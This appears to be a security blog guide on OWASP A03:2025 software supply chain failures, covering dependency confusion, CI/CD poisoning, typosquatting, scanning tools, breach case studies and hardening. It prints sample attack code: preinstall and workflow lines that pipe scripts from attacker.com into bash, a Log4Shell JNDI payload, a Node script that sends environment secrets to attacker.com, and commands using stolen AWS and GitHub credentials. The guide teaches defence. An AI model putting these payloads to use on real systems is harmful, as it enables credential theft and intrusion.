June 24, 2026
Part 4 OWASP A03:2025: Software Supply Chain Failures — The Complete Guide to Detection…
“You wrote perfect code. Someone else’s code, that yours depends on, got compromised. Game over.”

By Intelithics
14 min read
Table of Contents
- What Is a Software Supply Chain?
- Why OWASP Made This #3 in 2025
- How Supply Chain Attacks Actually Work
- Types of Supply Chain Failures
- Tools You Need
- How to Find Supply Chain Vulnerabilities — Step by Step
- Real Attack Techniques with Examples
- Real-World Breach Case Studies
- The Full Attack Chain — A Realistic Scenario
- Hardening & Mitigation Checklist
- CWE Mapping
- Final Thoughts
1. What Is a Software Supply Chain?
Think about how a car gets built. Ford doesn't mine iron ore, refine it into steel, and make every bolt themselves. They buy parts from hundreds of suppliers. If one supplier ships bad brake pads, every car with those brakes has a problem — even though Ford's own factory did nothing wrong.
Software works the same way.
When you build an app today, you're not writing everything from scratch. You're pulling in packages from npm, pip, Maven, or NuGet. Your build pipeline runs on Jenkins or GitHub Actions. Your containers use base images from Docker Hub. Your code gets scanned by third-party tools with deep system access.
Every one of those pieces is your supply chain. And if any piece gets compromised, your app gets compromised — even if your own code is flawless.
That's what OWASP A03:2025 is about: the stuff that gets into your software before you even write a line.
2. Why OWASP Made This #3 in 2025
In 2021, this category was called "Vulnerable and Outdated Components" and sat at #6. The focus was simple: update your libraries. By 2025, the scope exploded.
The reason it jumped isn't just theory. Here's what changed:
80–90% of modern application code comes from dependencies. You write the glue. The actual functionality — HTTP handling, cryptography, parsing, logging — comes from packages written by people you've never met, maintained by teams that might be one overworked volunteer.
Attackers figured this out : Instead of breaking into your application directly, they broke into the things your application trusts. SolarWinds affected 18,000 organizations — not because 18,000 teams wrote bad code, but because they all trusted one vendor's update mechanism.
In the 2025 OWASP community survey, 50% of security professionals ranked this as the #1 threat — higher than any other category. The testing data ranks it #3 because automated scanners are bad at finding supply chain compromise. That gap between what professionals fear and what tools detect is exactly where the danger lives.
3. How Supply Chain Attacks Actually Work
There are a few different ways attackers get into your supply chain. Understanding each one changes how you defend against it.
The library gets poisoned directly : An attacker compromises a package maintainer's account (often through credential stuffing or phishing), then pushes a malicious version of a popular package. Every developer who runs npm install or pip install in the next few hours gets the backdoored version.
A fake package tricks your build system : An attacker publishes a package with the same name as your internal private package, but on the public registry with a higher version number. Your build system pulls the public one instead of your internal one. This is called dependency confusion.
The build pipeline itself gets attacked : Your CI/CD server is where code becomes software. If an attacker gets into Jenkins, GitHub Actions, or GitLab CI, they can inject malicious code into every build — before the artifacts are signed and shipped. The malware ends up in your official release, signed with your own certificate.
An outdated library contains a known CVE : Nobody compromised anything actively. You're just running a version of a library that has a publicly disclosed vulnerability and hasn't been updated in two years.
All four of these lead to the same outcome: your users run software that does things you didn't intend and can't see.
4. Types of Supply Chain Failures
4.1 Vulnerable and Outdated Dependencies
Your package.json says "lodash": "^4.17.15". That version has a known prototype pollution vulnerability. You haven't updated it because "it works." An attacker reads your public GitHub repo, sees the version, and chains that vulnerability with something else.
This is the most common type, and the one most automated tools actually catch.
4.2 Dependency Confusion
Your internal npm registry has a package called acme-auth. Your build server is configured to check the public npm registry first. An attacker publishes acme-auth on public npm with version 9.9.9 (higher than your internal 1.0.3). Your build pulls the attacker's version.
bash
# Attacker's malicious package.json (published to public npm)
{
"name": "acme-auth",
"version": "9.9.9",
"description": "Internal auth library",
"scripts": {
"preinstall": "curl https://attacker.com/steal.sh | bash"
}
}# Attacker's malicious package.json (published to public npm)
{
"name": "acme-auth",
"version": "9.9.9",
"description": "Internal auth library",
"scripts": {
"preinstall": "curl https://attacker.com/steal.sh | bash"
}
}The
preinstallscript runs automatically when the package is installed. Before your app even builds, credentials are already exfiltrated.
4.3 Compromised CI/CD Pipeline
If an attacker can push to your build config or access your CI/CD system:
yaml
# Malicious GitHub Actions workflow injection
- name: Build
run: |
npm run build
# This line was injected by attacker:
curl -s https://attacker.com/beacon.sh | bash# Malicious GitHub Actions workflow injection
- name: Build
run: |
npm run build
# This line was injected by attacker:
curl -s https://attacker.com/beacon.sh | bashThis runs silently in every build. The artifact looks clean. The malware is already in your pipeline.
4.4 Typosquatting
Legitimate package: requests (Python)
Attacker's package: reqeusts, request, requests-pro
Developers mistype the name or search for a variation. The attacker's package installs legitimate-looking functionality while also doing something malicious in the background.
4.5 Malicious IDE Extensions
VS Code extensions have access to your entire filesystem, environment variables, SSH keys, and .git config. A malicious extension with 200,000 installs can silently harvest credentials from every developer machine it touches.
5. Tools You Need
5.1 Dependency Scanning
OWASP Dependency-Check — finds known CVEs in your project dependencies
bash
# Install
wget https://github.com/jeremylong/DependencyCheck/releases/download/v9.0.9/dependency-check-9.0.9-release.zip
unzip dependency-check-9.0.9-release.zip
# Scan a project
./dependency-check/bin/dependency-check.sh \
--project "MyApp" \
--scan /path/to/project \
--format HTML \
--out ./reports/# Install
wget https://github.com/jeremylong/DependencyCheck/releases/download/v9.0.9/dependency-check-9.0.9-release.zip
unzip dependency-check-9.0.9-release.zip
# Scan a project
./dependency-check/bin/dependency-check.sh \
--project "MyApp" \
--scan /path/to/project \
--format HTML \
--out ./reports/Output: Full HTML report listing every dependency, its version, and any associated CVEs with severity scores.
Snyk — developer-friendly, integrates with CI/CD :
bash
# Install
npm install -g snyk
# Authenticate
snyk auth
# Scan Node.js project
snyk test
# Scan Python project
snyk test --file=requirements.txt
# Scan Docker image
snyk container test nginx:latest
# Monitor continuously (pushes to Snyk dashboard)
snyk monitor# Install
npm install -g snyk
# Authenticate
snyk auth
# Scan Node.js project
snyk test
# Scan Python project
snyk test --file=requirements.txt
# Scan Docker image
snyk container test nginx:latest
# Monitor continuously (pushes to Snyk dashboard)
snyk monitorpip-audit — Python-specific, lightweight :
bash
pip install pip-audit
# Scan current environment
pip-audit
# Scan a requirements file
pip-audit -r requirements.txt
# Output JSON for automation
pip-audit -r requirements.txt -f json > audit_results.jsonpip install pip-audit
# Scan current environment
pip-audit
# Scan a requirements file
pip-audit -r requirements.txt
# Output JSON for automation
pip-audit -r requirements.txt -f json > audit_results.jsonnpm audit — built into npm, no install needed :
bash
# Basic audit
npm audit
# Get full JSON report
npm audit --json
# Auto-fix low-severity issues
npm audit fix
# Fix everything including breaking changes (careful)
npm audit fix --force# Basic audit
npm audit
# Get full JSON report
npm audit --json
# Auto-fix low-severity issues
npm audit fix
# Fix everything including breaking changes (careful)
npm audit fix --forceTrivy — scans images, filesystems, git repos, Kubernetes :
bash
# Install
curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin
# Scan a Docker image
trivy image python:3.9-slim
# Scan a local directory / project
trivy fs /path/to/project
# Scan a GitHub repository
trivy repo https://github.com/target/repo
# Scan Kubernetes cluster
trivy k8s --report summary cluster
# Output as SARIF for GitHub Security tab
trivy image --format sarif --output results.sarif myapp:latest# Install
curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin
# Scan a Docker image
trivy image python:3.9-slim
# Scan a local directory / project
trivy fs /path/to/project
# Scan a GitHub repository
trivy repo https://github.com/target/repo
# Scan Kubernetes cluster
trivy k8s --report summary cluster
# Output as SARIF for GitHub Security tab
trivy image --format sarif --output results.sarif myapp:latest5.2 SBOM Generation
An SBOM (Software Bill of Materials) is a complete inventory of everything in your software. Think of it as an ingredient list for your application.
Syft — generates SBOMs from images, directories, files :
bash
# Install
curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin
# Generate SBOM for a Docker image
syft nginx:latest
# Generate SBOM in CycloneDX format (industry standard)
syft nginx:latest -o cyclonedx-json > sbom.json
# Generate SBOM for local project
syft dir:/path/to/project -o spdx-json > sbom-spdx.json
# Generate SBOM and pipe to Grype for vulnerability scanning
syft nginx:latest -o json | grype# Install
curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin
# Generate SBOM for a Docker image
syft nginx:latest
# Generate SBOM in CycloneDX format (industry standard)
syft nginx:latest -o cyclonedx-json > sbom.json
# Generate SBOM for local project
syft dir:/path/to/project -o spdx-json > sbom-spdx.json
# Generate SBOM and pipe to Grype for vulnerability scanning
syft nginx:latest -o json | grypeGrype — vulnerability scanner that works with SBOMs :
bash
# Install
curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin
# Scan an image
grype nginx:latest
# Scan using an existing SBOM
grype sbom:./sbom.json
# Only show critical and high
grype nginx:latest --fail-on high# Install
curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin
# Scan an image
grype nginx:latest
# Scan using an existing SBOM
grype sbom:./sbom.json
# Only show critical and high
grype nginx:latest --fail-on high5.3 Secret Scanning in Dependencies
Sometimes the vulnerability isn't a CVE — it's a hardcoded secret in a dependency's source code that gets included in your build.
Trufflehog — finds secrets in git history and filesystems :
bash
# Install
pip install trufflehog
# Scan a git repo
trufflehog git https://github.com/target/repo
# Scan local filesystem
trufflehog filesystem /path/to/project
# Scan a Docker image
trufflehog docker --image nginx:latest# Install
pip install trufflehog
# Scan a git repo
trufflehog git https://github.com/target/repo
# Scan local filesystem
trufflehog filesystem /path/to/project
# Scan a Docker image
trufflehog docker --image nginx:latestGitleaks — fast secret detection in git repos
bash
# Install
brew install gitleaks # or download binary
# Scan current repo
gitleaks detect
# Scan specific repo
gitleaks detect --source /path/to/repo
# Scan and output JSON report
gitleaks detect --report-format json --report-path leaks.json
# Protect (pre-commit mode — blocks commits with secrets)
gitleaks protect --staged# Install
brew install gitleaks # or download binary
# Scan current repo
gitleaks detect
# Scan specific repo
gitleaks detect --source /path/to/repo
# Scan and output JSON report
gitleaks detect --report-format json --report-path leaks.json
# Protect (pre-commit mode — blocks commits with secrets)
gitleaks protect --staged5.4 Checking Package Integrity :
Before trusting any package, verify its integrity.
bash
# npm: check package signatures
npm audit signatures
# pip: verify hash before install
pip install requests --require-hashes -r requirements.txt
# In requirements.txt, pin with hash:
# requests==2.31.0 --hash=sha256:58cd2187423d8cc0b18a875...
# Verify a downloaded file's SHA256
sha256sum downloaded-package.tar.gz
# Compare against the published hash on the project's releases page# npm: check package signatures
npm audit signatures
# pip: verify hash before install
pip install requests --require-hashes -r requirements.txt
# In requirements.txt, pin with hash:
# requests==2.31.0 --hash=sha256:58cd2187423d8cc0b18a875...
# Verify a downloaded file's SHA256
sha256sum downloaded-package.tar.gz
# Compare against the published hash on the project's releases page6. How to Find Supply Chain Vulnerabilities — Step by Step
This is how a professional security tester approaches supply chain assessment. Not random, not noisy — methodical.
Phase 1: Map the Attack Surface
Before you scan anything, understand what you're dealing with.
bash
# For a Node.js project — list ALL dependencies (direct + transitive)
npm list --all 2>/dev/null | head -100
# Count how many total packages you're pulling in
npm list --all 2>/dev/null | wc -l
# For Python — list all installed packages
pip freeze
# Find packages with no recent updates (stale dependencies)
npm outdated
# Python equivalent
pip list --outdated# For a Node.js project — list ALL dependencies (direct + transitive)
npm list --all 2>/dev/null | head -100
# Count how many total packages you're pulling in
npm list --all 2>/dev/null | wc -l
# For Python — list all installed packages
pip freeze
# Find packages with no recent updates (stale dependencies)
npm outdated
# Python equivalent
pip list --outdatedIf npm list --all shows 800 packages for a project that has 20 direct dependencies, that's 780 transitive dependencies you probably haven't reviewed. Each one is potential attack surface.
Phase 2: Scan for Known CVEs
bash
# Run OWASP Dependency-Check
dependency-check.sh --scan . --format JSON --out ./dc-report/
# Parse for critical/high findings only
cat ./dc-report/dependency-check-report.json | \
python3 -c "
import json, sys
data = json.load(sys.stdin)
for dep in data.get('dependencies', []):
for vuln in dep.get('vulnerabilities', []):
if vuln['severity'] in ['CRITICAL', 'HIGH']:
print(f\"{dep['fileName']}: {vuln['name']} ({vuln['severity']}) - {vuln['description'][:100]}\")
"
# Cross-reference with Snyk
snyk test --json | python3 -c "
import json, sys
data = json.load(sys.stdin)
for vuln in data.get('vulnerabilities', []):
if vuln['severity'] in ['critical', 'high']:
print(f\"{vuln['packageName']}@{vuln['version']}: {vuln['title']}\")
"# Run OWASP Dependency-Check
dependency-check.sh --scan . --format JSON --out ./dc-report/
# Parse for critical/high findings only
cat ./dc-report/dependency-check-report.json | \
python3 -c "
import json, sys
data = json.load(sys.stdin)
for dep in data.get('dependencies', []):
for vuln in dep.get('vulnerabilities', []):
if vuln['severity'] in ['CRITICAL', 'HIGH']:
print(f\"{dep['fileName']}: {vuln['name']} ({vuln['severity']}) - {vuln['description'][:100]}\")
"
# Cross-reference with Snyk
snyk test --json | python3 -c "
import json, sys
data = json.load(sys.stdin)
for vuln in data.get('vulnerabilities', []):
if vuln['severity'] in ['critical', 'high']:
print(f\"{vuln['packageName']}@{vuln['version']}: {vuln['title']}\")
"Phase 3: Check for Dependency Confusion Risk
bash
# Find all internal/scoped packages in package.json
cat package.json | python3 -c "
import json, sys
data = json.load(sys.stdin)
deps = {**data.get('dependencies',{}), **data.get('devDependencies',{})}
for pkg in deps:
if not pkg.startswith('@'):
print(pkg)
"
# Check if each unscoped package exists on public npm
# (if it does AND you have internal packages with same name, you're vulnerable)
for pkg in $(cat package.json | python3 -c "..."); do
curl -s https://registry.npmjs.org/$pkg | python3 -c "
import json, sys
try:
data = json.load(sys.stdin)
print(f'EXISTS on npm: {data[\"name\"]} (latest: {data[\"dist-tags\"][\"latest\"]})')
except:
print('NOT on public npm - safe')
"
done# Find all internal/scoped packages in package.json
cat package.json | python3 -c "
import json, sys
data = json.load(sys.stdin)
deps = {**data.get('dependencies',{}), **data.get('devDependencies',{})}
for pkg in deps:
if not pkg.startswith('@'):
print(pkg)
"
# Check if each unscoped package exists on public npm
# (if it does AND you have internal packages with same name, you're vulnerable)
for pkg in $(cat package.json | python3 -c "..."); do
curl -s https://registry.npmjs.org/$pkg | python3 -c "
import json, sys
try:
data = json.load(sys.stdin)
print(f'EXISTS on npm: {data[\"name\"]} (latest: {data[\"dist-tags\"][\"latest\"]})')
except:
print('NOT on public npm - safe')
"
donePhase 4: Audit CI/CD Pipeline Configuration
bash
# GitHub Actions — look for dangerous patterns
grep -r "curl.*|.*bash" .github/workflows/
grep -r "wget.*|.*sh" .github/workflows/
grep -r "eval " .github/workflows/
grep -r "echo.*secrets" .github/workflows/
# Check if secrets get printed to logs (bad)
grep -rn "echo.*\${{.*secrets" .github/workflows/
# Check for pinned action versions (good) vs floating (bad)
# Bad: uses: actions/checkout@main (floating, can be compromised)
# Good: uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 (pinned to commit hash)
grep -r "uses:.*@" .github/workflows/ | grep -v "@[a-f0-9]\{40\}"
# Anything that doesn't match a 40-char hash is not pinned# GitHub Actions — look for dangerous patterns
grep -r "curl.*|.*bash" .github/workflows/
grep -r "wget.*|.*sh" .github/workflows/
grep -r "eval " .github/workflows/
grep -r "echo.*secrets" .github/workflows/
# Check if secrets get printed to logs (bad)
grep -rn "echo.*\${{.*secrets" .github/workflows/
# Check for pinned action versions (good) vs floating (bad)
# Bad: uses: actions/checkout@main (floating, can be compromised)
# Good: uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 (pinned to commit hash)
grep -r "uses:.*@" .github/workflows/ | grep -v "@[a-f0-9]\{40\}"
# Anything that doesn't match a 40-char hash is not pinnedPhase 5: Check for Secrets in Dependencies
bash
# Scan all node_modules for secrets (slow but thorough)
trufflehog filesystem ./node_modules/ --no-verification
# Faster: scan only recently installed packages
find node_modules -name "*.js" -newer package-lock.json | \
xargs grep -l "AKIA\|sk-\|ghp_\|ghs_" 2>/dev/null
# Check pip-installed packages for embedded secrets
find $(pip show pip | grep Location | awk '{print $2}') -name "*.py" | \
xargs grep -l "password\|secret\|api_key" 2>/dev/null | head -20# Scan all node_modules for secrets (slow but thorough)
trufflehog filesystem ./node_modules/ --no-verification
# Faster: scan only recently installed packages
find node_modules -name "*.js" -newer package-lock.json | \
xargs grep -l "AKIA\|sk-\|ghp_\|ghs_" 2>/dev/null
# Check pip-installed packages for embedded secrets
find $(pip show pip | grep Location | awk '{print $2}') -name "*.py" | \
xargs grep -l "password\|secret\|api_key" 2>/dev/null | head -20Phase 6: Verify Package Integrity
bash
# npm: check if any installed packages have been tampered with
npm audit signatures
# Compare installed package hash against published hash
PACKAGE="lodash"
VERSION=$(cat node_modules/lodash/package.json | python3 -c "import json,sys; print(json.load(sys.stdin)['version'])")
PUBLISHED_HASH=$(curl -s https://registry.npmjs.org/$PACKAGE/$VERSION | python3 -c "import json,sys; d=json.load(sys.stdin); print(d['dist']['shasum'])")
echo "Published hash: $PUBLISHED_HASH"# npm: check if any installed packages have been tampered with
npm audit signatures
# Compare installed package hash against published hash
PACKAGE="lodash"
VERSION=$(cat node_modules/lodash/package.json | python3 -c "import json,sys; print(json.load(sys.stdin)['version'])")
PUBLISHED_HASH=$(curl -s https://registry.npmjs.org/$PACKAGE/$VERSION | python3 -c "import json,sys; d=json.load(sys.stdin); print(d['dist']['shasum'])")
echo "Published hash: $PUBLISHED_HASH"7. Real Attack Techniques with Examples
7.1 Exploiting a Vulnerable Dependency (Log4Shell Style)
When Log4j was vulnerable (CVE-2021–44228), exploitation was this simple:
bash
# Attacker sends this string in any user-controlled field
# (HTTP header, username field, search box, anywhere)
${jndi:ldap://attacker.com:1389/exploit}
# Log4j sees it, tries to look it up via LDAP
# LDAP server responds with a Java class
# Java class executes on the victim server
# Result: Remote Code Execution# Attacker sends this string in any user-controlled field
# (HTTP header, username field, search box, anywhere)
${jndi:ldap://attacker.com:1389/exploit}
# Log4j sees it, tries to look it up via LDAP
# LDAP server responds with a Java class
# Java class executes on the victim server
# Result: Remote Code ExecutionThe terrifying part: developers didn't write this vulnerability. Log4j was just doing its job — logging user input. The logging library itself was the attack vector.
To test if an application is vulnerable:
bash
# Tool: log4j-scan
pip install log4j-scan
log4j-scan -u https://target.com
# Manual test — inject in common headers
curl -H 'X-Forwarded-For: ${jndi:ldap://YOUR-BURP-COLLABORATOR.com/test}' https://target.com
curl -H 'User-Agent: ${jndi:ldap://YOUR-BURP-COLLABORATOR.com/test}' https://target.com
curl -H 'X-Api-Version: ${jndi:ldap://YOUR-BURP-COLLABORATOR.com/test}' https://target.com
# If your Burp Collaborator gets a DNS hit, it's vulnerable# Tool: log4j-scan
pip install log4j-scan
log4j-scan -u https://target.com
# Manual test — inject in common headers
curl -H 'X-Forwarded-For: ${jndi:ldap://YOUR-BURP-COLLABORATOR.com/test}' https://target.com
curl -H 'User-Agent: ${jndi:ldap://YOUR-BURP-COLLABORATOR.com/test}' https://target.com
curl -H 'X-Api-Version: ${jndi:ldap://YOUR-BURP-COLLABORATOR.com/test}' https://target.com
# If your Burp Collaborator gets a DNS hit, it's vulnerable7.2 Dependency Confusion Attack
This is a real technique researcher Alex Birsan used to earn over $130,000 in bug bounties in 2021.
bash
# Step 1: Find internal package names
# Look in public GitHub repos, job postings, error messages
# Example: You find "shopco-internal-utils" referenced in a public error log
# Step 2: Check if it exists on public npm
npm show shopco-internal-utils # If "not found" — vulnerable
# Step 3 (what an attacker would do):
# Publish a package with same name + higher version on public npm
# with malicious preinstall script
# Step 4: If the victim's build system has public registry priority,
# it downloads attacker's package instead of internal one
# Defense: Use scoped packages and .npmrc to force internal registry
echo "@shopco:registry=https://internal.registry.shopco.com" >> .npmrc# Step 1: Find internal package names
# Look in public GitHub repos, job postings, error messages
# Example: You find "shopco-internal-utils" referenced in a public error log
# Step 2: Check if it exists on public npm
npm show shopco-internal-utils # If "not found" — vulnerable
# Step 3 (what an attacker would do):
# Publish a package with same name + higher version on public npm
# with malicious preinstall script
# Step 4: If the victim's build system has public registry priority,
# it downloads attacker's package instead of internal one
# Defense: Use scoped packages and .npmrc to force internal registry
echo "@shopco:registry=https://internal.registry.shopco.com" >> .npmrc7.3 Typosquatting Detection
bash
# Check if common typos of your dependencies exist on public registries
# Example: checking for typosquats of "requests" (Python)
python3 -c "
import itertools, requests
package = 'requests'
# Generate common typo variations
variations = set()
for i in range(len(package)):
# Letter swap
variations.add(package[:i] + package[i+1:])
# Double letter
variations.add(package[:i] + package[i]*2 + package[i+1:])
for var in list(variations)[:20]:
try:
r = requests.get(f'https://pypi.org/pypi/{var}/json', timeout=3)
if r.status_code == 200:
print(f'FOUND on PyPI: {var}')
except:
pass
"# Check if common typos of your dependencies exist on public registries
# Example: checking for typosquats of "requests" (Python)
python3 -c "
import itertools, requests
package = 'requests'
# Generate common typo variations
variations = set()
for i in range(len(package)):
# Letter swap
variations.add(package[:i] + package[i+1:])
# Double letter
variations.add(package[:i] + package[i]*2 + package[i+1:])
for var in list(variations)[:20]:
try:
r = requests.get(f'https://pypi.org/pypi/{var}/json', timeout=3)
if r.status_code == 200:
print(f'FOUND on PyPI: {var}')
except:
pass
"7.4 Malicious Preinstall Script Detection
bash
# Before installing any package, inspect its scripts
npm show <package-name>
# Or download without installing and read package.json
npm pack <package-name>
tar -xzf <package-name>-*.tgz
cat package/package.json | python3 -c "
import json, sys
data = json.load(sys.stdin)
scripts = data.get('scripts', {})
dangerous = ['preinstall', 'install', 'postinstall', 'preuninstall']
for s in dangerous:
if s in scripts:
print(f'WARNING - {s} script found:')
print(f' {scripts[s]}')
"# Before installing any package, inspect its scripts
npm show <package-name>
# Or download without installing and read package.json
npm pack <package-name>
tar -xzf <package-name>-*.tgz
cat package/package.json | python3 -c "
import json, sys
data = json.load(sys.stdin)
scripts = data.get('scripts', {})
dangerous = ['preinstall', 'install', 'postinstall', 'preuninstall']
for s in dangerous:
if s in scripts:
print(f'WARNING - {s} script found:')
print(f' {scripts[s]}')
"8. Real-World Breach Case Studies
SolarWinds Orion (2020) — 18,000 Organizations Compromised
Attackers got into SolarWinds' build environment and inserted a backdoor (named SUNBURST) directly into the Orion software update. The malicious code was compiled as part of the official build, signed with SolarWinds' own certificate, and distributed as a routine software update.
Organizations didn't fail to patch. They actively installed what they believed was a legitimate, digitally-signed security software update. 18,000 organizations including US government agencies, intelligence agencies, and Fortune 500 companies ran backdoored software for months before it was discovered.
Root causes: no integrity verification on build artifacts, no anomaly detection on the build system, overly broad network access from the compromised software.
Lesson: A digitally-signed package is not a safe package if the signing key or build system was compromised before signing.
Bybit $1.5 Billion Theft (2025)
The largest cryptocurrency theft in history happened through a conditional supply chain attack. Wallet software was compromised such that the malicious code only activated when the target wallet — Bybit's — was being used. The malware sat dormant in countless other installations and did nothing, making it nearly impossible to detect through normal testing.
Root cause: compromised dependencies in wallet software, no runtime integrity verification.
Lesson: Testing your software in staging doesn't catch malware that activates conditionally against specific targets.
Shai-Hulud npm Worm (2025)
Attackers published malicious versions of popular npm packages containing worm logic. When installed, the package used preinstall scripts to harvest any npm tokens present in the developer's environment, then used those tokens to publish malicious versions of any packages that developer had publish access to. One infected developer spread the worm to every package they maintained.
Root cause: npm tokens with broad publish access stored in developer environments, no verification of outbound network calls during install.
Lesson: Developer machines are now part of the supply chain attack surface. Compromising one developer with publish access can cascade into compromising thousands of downstream packages.
NotPetya (2017) — $10 Billion in Damage
Attackers compromised MeDoc, Ukrainian accounting software used by most businesses operating in Ukraine. They injected malware into the software's legitimate update mechanism. When businesses applied the routine update, NotPetya deployed — encrypting everything and spreading laterally across networks using the EternalBlue exploit.
Root cause: no integrity verification on software updates, update mechanism had no signature checking.
Lesson: Even small, regional software vendors can be entry points for attacks that affect global enterprises.
9. The Full Attack Chain — A Realistic Scenario
Target: A mid-sized fintech company. Call them PayCo.
Step 1: Reconnaissance
Attacker finds PayCo's public GitHub repo. The package.json shows they use payco-auth-utils — clearly an internal package. Search on npm shows it doesn't exist publicly.
bash
npm show payco-auth-utils
# npm ERR! 404 Not Found - GET https://registry.npmjs.org/payco-auth-utilsnpm show payco-auth-utils
# npm ERR! 404 Not Found - GET https://registry.npmjs.org/payco-auth-utilsDependency confusion vulnerability confirmed.
Step 2: Publish Malicious Package
Attacker creates a package called payco-auth-utils with version 99.0.0 (much higher than PayCo's internal 2.1.4). The preinstall script:
javascript
// preinstall.js (runs automatically on npm install)
const https = require('https');
const { execSync } = require('child_process');
// Collect environment variables
const env = process.env;
const secrets = Object.keys(env)
.filter(k => /key|secret|token|password|aws/i.test(k))
.reduce((obj, k) => ({ ...obj, [k]: env[k] }), {});
// Send to attacker
https.get(`https://attacker.com/collect?data=${encodeURIComponent(JSON.stringify(secrets))}`);// preinstall.js (runs automatically on npm install)
const https = require('https');
const { execSync } = require('child_process');
// Collect environment variables
const env = process.env;
const secrets = Object.keys(env)
.filter(k => /key|secret|token|password|aws/i.test(k))
.reduce((obj, k) => ({ ...obj, [k]: env[k] }), {});
// Send to attacker
https.get(`https://attacker.com/collect?data=${encodeURIComponent(JSON.stringify(secrets))}`);Step 3: Victim Build Pulls Malicious Package
PayCo's CI/CD runs on Monday morning. The build server checks the public npm registry first (misconfiguration). It sees payco-auth-utils@99.0.0 and downloads it. The preinstall script runs on the build server.
Exfiltrated: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL.
Step 4: Attacker Uses Stolen Credentials
bash
# With AWS keys:
aws configure # enters stolen keys
aws s3 ls # lists all PayCo's S3 buckets
aws s3 cp s3://payco-customer-data/transactions_2024.csv .
# With GitHub token:
curl -H "Authorization: token STOLEN_GITHUB_TOKEN" \
https://api.github.com/repos/payco/private-repo/contents/
# Full source code access# With AWS keys:
aws configure # enters stolen keys
aws s3 ls # lists all PayCo's S3 buckets
aws s3 cp s3://payco-customer-data/transactions_2024.csv .
# With GitHub token:
curl -H "Authorization: token STOLEN_GITHUB_TOKEN" \
https://api.github.com/repos/payco/private-repo/contents/
# Full source code accessWhat went wrong at each step:
StepProblemFixPublic package name takenInternal package names not scoped or reserved on public registryUse @payco/auth-utils scoped namingBuild pulled public registrynpm not configured to use internal registry exclusively.npmrc with registry=https://internal.payco.comPreinstall ran network callNo outbound network blocking during buildBuild environment network policiesKeys in env variablesSecrets in environment instead of secrets managerAWS Secrets Manager / VaultNo detectionNo monitoring of unusual S3 accessCloudTrail + GuardDuty
10. Hardening & Mitigation Checklist
Dependencies :
- Run dependency scanner (Snyk, OWASP Dependency-Check) on every PR
- All dependencies pinned to exact versions (not ^ or ~)
- Dependency hashes verified in lockfiles (
package-lock.json,poetry.lock) npm audit signaturespasses clean- No packages with
preinstall/postinstallscripts you haven't reviewed npm outdated/pip list --outdatedreviewed weekly- Transitive dependencies inventoried (generate SBOM with Syft)
Package Registry :
- Internal packages use scoped naming (
@company/package-name) .npmrcorpip.confpoints to internal registry exclusively- Internal package names reserved on public registries
- Package signing enabled where supported
CI/CD Pipeline :
- Build system requires authentication (no anonymous access)
- GitHub Actions use pinned commit hashes, not branch names
- Secrets never echoed to build logs
- Build environment network egress restricted
- Build artifacts signed and signature verified before deployment
- Separate build environments per project
Secrets Management :
- No credentials in environment variables on build servers
- AWS/cloud credentials use IAM roles, not long-lived access keys
- All secrets through a vault (HashiCorp Vault, AWS Secrets Manager)
- Secret scanning runs on all commits (Gitleaks pre-commit hook)
Monitoring :
- SBOM generated on every build and stored centrally
- CVE feeds monitored against your SBOM (Grype in watch mode)
- Alerts on new vulnerabilities in components you use
- Build system access logs reviewed regularly
11. CWE Mapping
CWEDescriptionSupply Chain ExampleCWE-1104Use of Unmaintained Third-Party ComponentsLibrary abandoned in 2019, CVE published 2024CWE-494Download of Code Without Integrity Checknpm install without hash verificationCWE-829Inclusion of Functionality from Untrusted Control SpherePulling packages from public registry without verificationCWE-913Improper Control of Dynamically-Managed Code ResourcesPreinstall scripts executing arbitrary codeCWE-426Untrusted Search PathBuild system resolving public packages before internalCWE-506Embedded Malicious CodeBackdoored library in official release (SolarWinds)CWE-693Protection Mechanism FailureNo signature verification on updates
12. Final Thoughts
Here's what most supply chain security guides don't tell you: this problem is mostly invisible until it's catastrophic.
A SQLi vulnerability gives you error messages, weird behavior, observable symptoms. A supply chain compromise gives you nothing. The malicious code might sit dormant for months. It might only activate against specific targets. Your tests pass. Your scans show clean. Your users report no issues. And somewhere, quietly, customer data is leaving your infrastructure.
The organizations that survive this class of attack aren't the ones with the best incident response. They're the ones who made trust explicit — who decided that "it came from npm" or "Jenkins built it" or "our vendor signed it" is not a sufficient reason to trust it. They verify. Automatically. On every build.
An SBOM isn't paperwork. It's the difference between knowing in 20 minutes whether Log4Shell affects you, versus spending three weeks manually hunting through 400 microservices.
Pin your dependencies. Scan your builds. Sign your artifacts. Generate your SBOM. And remember: your software is only as trustworthy as the least-trustworthy thing it depends on.
White Panther :
Follow for More : Intelithics